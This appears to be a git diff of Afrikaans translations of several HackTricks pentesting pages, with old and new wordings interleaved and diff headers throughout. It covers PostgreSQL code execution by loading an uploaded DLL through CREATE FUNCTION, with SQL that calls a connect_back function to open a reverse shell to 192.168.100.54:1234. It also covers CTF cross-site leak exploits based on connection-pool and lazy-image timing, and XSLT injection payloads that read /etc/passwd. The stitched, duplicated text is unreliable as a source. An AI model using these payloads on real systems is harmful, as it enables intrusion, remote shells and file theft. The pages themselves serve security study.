In die **nuutste weergawes** van PostgreSQL is beperkings opgelê waar die `superuser` **verbied** word om gedeelde biblioteek lêers te **laai** behalwe uit spesifieke gids, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gids is **beveilig** teen skryfoperasies deur die NETWORK\_SERVICE of postgres rekeninge.
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike** biblioteeklêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfoperasies deur óf die NETWORK\_SERVICE óf postgres rekeninge.
|
||||
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geïdentifiseerde databasis `superuser` om **binêre lêers te skryf** na die lêersisteem deur "groot voorwerpe" te gebruik. Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos die opdateer of skep van tabelle.
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` bevel, wat **gids deursnuffeling** na die data gids toelaat. Gevolglik kan 'n geïdentifiseerde aanvaller hierdie deursnuffeling **uitbuit** om 'n gedeelde biblioteek lêer na die data gids te skryf en dit dan te **laai**. Hierdie aanval stel die aanvaller in staat om willekeurige kode uit te voer, wat lei tot inheemse kode-uitvoering op die stelsel.
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **toelaat dat gidse deurgegaan** word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie **deurgang benut** om 'n gesamentlike biblioteeklêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
|
||||
#### Aanvalvloei
|
||||
#### Aanvalstroom
|
||||
|
||||
Eerstens moet jy **groot voorwerpe gebruik om die dll te oplaai**. Jy kan sien hoe om dit te doen hier:
|
||||
Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
|
||||
|
||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die data gids gelaai het, kan jy dit laai met:
|
||||
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Noot dat jy nie die `.dll` uitbreiding hoef by te voeg nie aangesien die skep funksie dit sal byvoeg._
|
||||
_Note dat jy nie die `.dll` uitbreiding hoef by te voeg nie, aangesien die create function dit sal byvoeg._
|
||||
|
||||
Vir meer inligting **lees die** [**oorspronklike publikasie hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In daardie publikasie **was dit die** [**kode wat gebruik is om die postgres uitbreiding te genereer**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres uitbreiding saam te stel, lees enige van die vorige weergawes_).\
|
||||
Op dieselfde bladsy is hierdie **uitbuiting om** hierdie tegniek te outomatiseer gegee:
|
||||
In daardie publikasie **was dit die** [**kode wat gebruik is om die postgres uitbreiding te genereer**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes_).\
|
||||
Op dieselfde bladsy is hierdie **exploit om** hierdie tegniek te outomatiseer gegee:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -335,14 +337,17 @@ print(" drop function connect_back(text, integer);")
|
|||
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# Verbindingspoel volgens Bestemming Voorbeeld
|
||||
# Connection Pool by Destination Example
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
In [**hierdie uitbuiting**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), stel [**@terjanq**](https://twitter.com/terjanq) nog 'n oplossing voor vir die uitdaging wat genoem word op die volgende bladsy:
|
||||
In [**hierdie eksploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) stel nog 'n oplossing voor vir die uitdaging wat in die volgende bladsy genoem word:
|
||||
|
||||
{% content-ref url="connection-pool-by-destination-example.md" %}
|
||||
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Kom ons kyk hoe hierdie uitbuiting werk:
|
||||
Kom ons kyk hoe hierdie eksploit werk:
|
||||
|
||||
* Die aanvaller sal 'n nota inspuit met soveel **`<img`**-etikette wat **`/js/purify.js`** laai as moontlik (meer as 6 om die oorsprong te blokkeer).
|
||||
* Die aanvaller sal 'n nota met soveel **`<img`** etikette **laai** **`/js/purify.js`** as moontlik (meer as 6 om die oorsprong te blokkeer).
|
||||
* Dan sal die aanvaller die **nota** met indeks 1 **verwyder**.
|
||||
* Dan sal die aanvaller die **bot die bladsy laat besoek** met die oorblywende nota en sal 'n **versoek** stuur na **`victim.com/js/purify.js`** wat hy sal **tyd**.
|
||||
* As die tyd **langer** is, was die **inspuiting** in die **nota** wat oorgebly het, as die tyd **laer** is, was die **vlag** daarin.
|
||||
* Dan sal die aanvaller \[die **bot die bladsy laat toegang** met die oorblywende nota] en sal 'n **versoek** na **`victim.com/js/purify.js`** stuur wat hy sal **tyd**. 
|
||||
* As die tyd **groter** is, was die **inspuiting** in die **nota** wat gelaat is, as die tyd **laer** is, was die **vlag** daar.
|
||||
|
||||
{% hint style="info" %}
|
||||
Om eerlik te wees, terwyl ek die skripsie lees, het ek 'n deel gemis waar die **aanvaller die bot die bladsy laat laai om die img-etikette te aktiveer**, ek sien niks soortgelyks in die kode nie.
|
||||
Eerlik, terwyl ek die skrip lees, het ek 'n deel gemis waar die **aanvaller die bot laat laai die bladsy om die img etikette te aktiveer**, ek sien niks soos dit in die kode nie.
|
||||
{% endhint %}
|
||||
```html
|
||||
<html>
|
||||
|
@ -120,14 +123,17 @@ break;
|
|||
</html>
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,36 @@
|
|||
# Event Loop Blokkering + Luie beelde
|
||||
# Event Loop Blocking + Lazy images
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
In [**hierdie uitbuiting**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), meng [**@aszx87410**](https://twitter.com/aszx87410) die **luie beeld sykanaal**-tegniek deur 'n HTML-injeksie met 'n soort **event loop blokkeringstegniek** om karakters te lek.
|
||||
In [**hierdie exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) meng die **lazy image side channel** tegniek deur 'n HTML-inspuiting met 'n soort **event loop blocking technique** om karakters te lek.
|
||||
|
||||
Dit is 'n **verskillende uitbuiting vir die CTF-uitdaging** wat reeds bespreek is op die volgende bladsy. Kyk vir meer inligting oor die uitdaging:
|
||||
Dit is 'n **verskillende exploit vir die CTF uitdaging** wat reeds op die volgende bladsy kommentaar is. kyk na meer inligting oor die uitdaging:
|
||||
|
||||
{% content-ref url="connection-pool-example.md" %}
|
||||
[connection-pool-example.md](connection-pool-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Die idee agter hierdie uitbuiting is as volg:
|
||||
Die idee agter hierdie exploit is:
|
||||
|
||||
* Die plasings word alfabeties gelaai.
|
||||
* 'n **Aanvaller** kan 'n **plasing** inspuit wat begin met 'n **"A"**, dan sal 'n paar **HTML-etiket** (soos 'n groot **`<canvas`**) die meeste van die **skerm** vul en 'n paar finale **`<img lazy`-etikette** om dinge te laai.
|
||||
* As die aanvaller in plaas van 'n "A" dieselfde plasing inspuit, maar begin met 'n "z", sal die **plasing** met die **vlag** **eerste** verskyn, dan sal die **ingespuite plasing** verskyn met die aanvanklike "z" en die **groot** **canvas**. Omdat die plasing met die vlag eerste verskyn het, sal die eerste canvas die hele skerm inneem en die finale **`<img lazy`-etikette** wat ingespuit is, sal nie op die skerm sigbaar wees nie, sodat hulle nie gelaai sal word nie.
|
||||
* Dan, **terwyl** die bot die bladsy **toegang**, sal die aanvaller **fetch-versoeke stuur**. 
|
||||
* As die **beelde** wat in die plasing ingespuit is, **gelaai** word, sal hierdie **fetch**-versoeke **langer neem**, sodat die aanvaller weet dat die **plasing voor die vlag** is (alfabeties).
|
||||
* As die **fetch**-versoeke **vinnig** is, beteken dit dat die **plasing** **alfabeties na** die vlag is.
|
||||
* Die plasings word alfabeties gelaai
|
||||
* 'n **aanvaller** kan 'n **plasing** inspuit wat begin met **"A"**, dan sal 'n **HTML tag** (soos 'n groot **`<canvas`**) die meeste van die **skerm** vul en 'n paar finale **`<img lazy` tags** om dinge te laai.
|
||||
* As die **aanvaller die selfde plasing inspuit maar begin met 'n "z".** Die **plasing** met die **vlag** sal **eerste** verskyn, dan sal die **ingespuite** **plasing** verskyn met die aanvanklike "z" en die **groot** **canvas**. Omdat die plasing met die vlag eerste verskyn het, sal die eerste canvas al die skerm beset en die finale **`<img lazy`** tags wat ingespuit is **nie gesien** word nie, so hulle **sal nie gelaai** word nie.
|
||||
* Dan, **terwyl** die bot die bladsy **toegang** het, sal die **aanvaller** **fetch versoeke stuur**. 
|
||||
* As die **beelde** wat in die plasing ingespuit is **gelaai** word, sal hierdie **fetch** versoeke **langer** neem, so die aanvaller weet dat die **plasing voor die vlag is** (alfabeties).
|
||||
* As die **fetch** versoeke **vinning** is, beteken dit dat die **plasing** **alfabeties** **na** die vlag is.
|
||||
|
||||
Kom ons kyk na die kode:
|
||||
```html
|
||||
|
@ -150,14 +153,17 @@ resolve(isFound)
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# XSLT-bedienerkant-inspuiting (Uitbreibare Stylbladtaal Transformasies)
|
||||
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
XSLT is 'n tegnologie wat gebruik word om XML-dokumente na verskillende formate te transformeer. Dit kom in drie weergawes voor: 1, 2 en 3, waarvan weergawe 1 die mees algemeen gebruik word. Die transformasieproses kan óf op die bediener óf binne die blaaier uitgevoer word.
|
||||
XSLT is 'n tegnologie wat gebruik word om XML-dokumente in verskillende formate te transformeer. Dit kom in drie weergawes: 1, 2, en 3, met weergawe 1 wat die mees algemeen gebruikte is. Die transformasieproses kan of op die bediener of binne die blaaiers uitgevoer word.
|
||||
|
||||
Die raamwerke wat die meeste gebruik word, sluit in:
|
||||
|
||||
|
@ -22,9 +25,9 @@ Die raamwerke wat die meeste gebruik word, sluit in:
|
|||
- **Xalan** van Apache,
|
||||
- **Saxon** van Saxonica.
|
||||
|
||||
Vir die uitbuiting van kwesbaarhede wat verband hou met XSLT, is dit nodig dat xsl-etikette aan die bedienerkant gestoor word, gevolg deur toegang tot daardie inhoud. 'n Voorbeeld van so 'n kwesbaarheid word gedokumenteer in die volgende bron: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
Vir die uitbuiting van kwesbaarhede wat met XSLT geassosieer word, is dit nodig dat xsl-tags aan die bedienerkant gestoor word, gevolg deur toegang tot daardie inhoud. 'n Voorbeeld van so 'n kwesbaarheid is gedokumenteer in die volgende bron: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## Voorbeeld - Tutoriaal
|
||||
## Example - Tutorial
|
||||
```bash
|
||||
sudo apt-get install default-jdk
|
||||
sudo apt-get install libsaxonb-java libsaxon-java
|
||||
|
@ -42,6 +45,8 @@ sudo apt-get install libsaxonb-java libsaxon-java
|
|||
</cd>
|
||||
</catalog>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="xsl.xsl" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -67,7 +72,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Uitvoer:
|
||||
Voer uit:
|
||||
```xml
|
||||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||||
|
||||
|
@ -131,7 +136,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
|||
```
|
||||
### Lees Plaaslike Lêer
|
||||
|
||||
{% code title="lees.xsl" %}
|
||||
{% code title="read.xsl" %}
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
<xsl:template match="/">
|
||||
|
@ -155,16 +160,6 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
|||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Server-Side Request Forgery (SSRF) is 'n aanvalstegniek wat gebruik maak van 'n kwesbare webtoepassing om 'n aanvaller toe te laat om versoek na ander interne of eksterne hulpbronne te stuur. Hierdie aanval kan gebruik word om gevoelige inligting te ontsluit, interne stelsels te skandeer of selfs om toegang tot die interne netwerk te verkry.
|
||||
|
||||
SSRF-aanvalle kan plaasvind as gevolg van swak verifikasie van gebruikersinsette, onvoldoende beperkings op die toegang tot hulpbronne of die gebruik van onbetroubare protokolle soos file:// of gopher://. Die aanvaller kan die webtoepassing dwing om versoek na 'n spesifieke URL te stuur, wat kan lei tot die blootstelling van gevoelige inligting of die uitvoering van verdere aanvalle.
|
||||
|
||||
Om SSRF-aanvalle te voorkom, moet ontwikkelaars gebruikersinsette behoorlik verifieer en valideringstoetse implementeer om te verseker dat slegs geldige en veilige URL's gebruik word. Daar moet ook beperkings geplaas word op die toegang tot interne hulpbronne en die gebruik van onbetroubare protokolle moet vermy word.
|
||||
|
||||
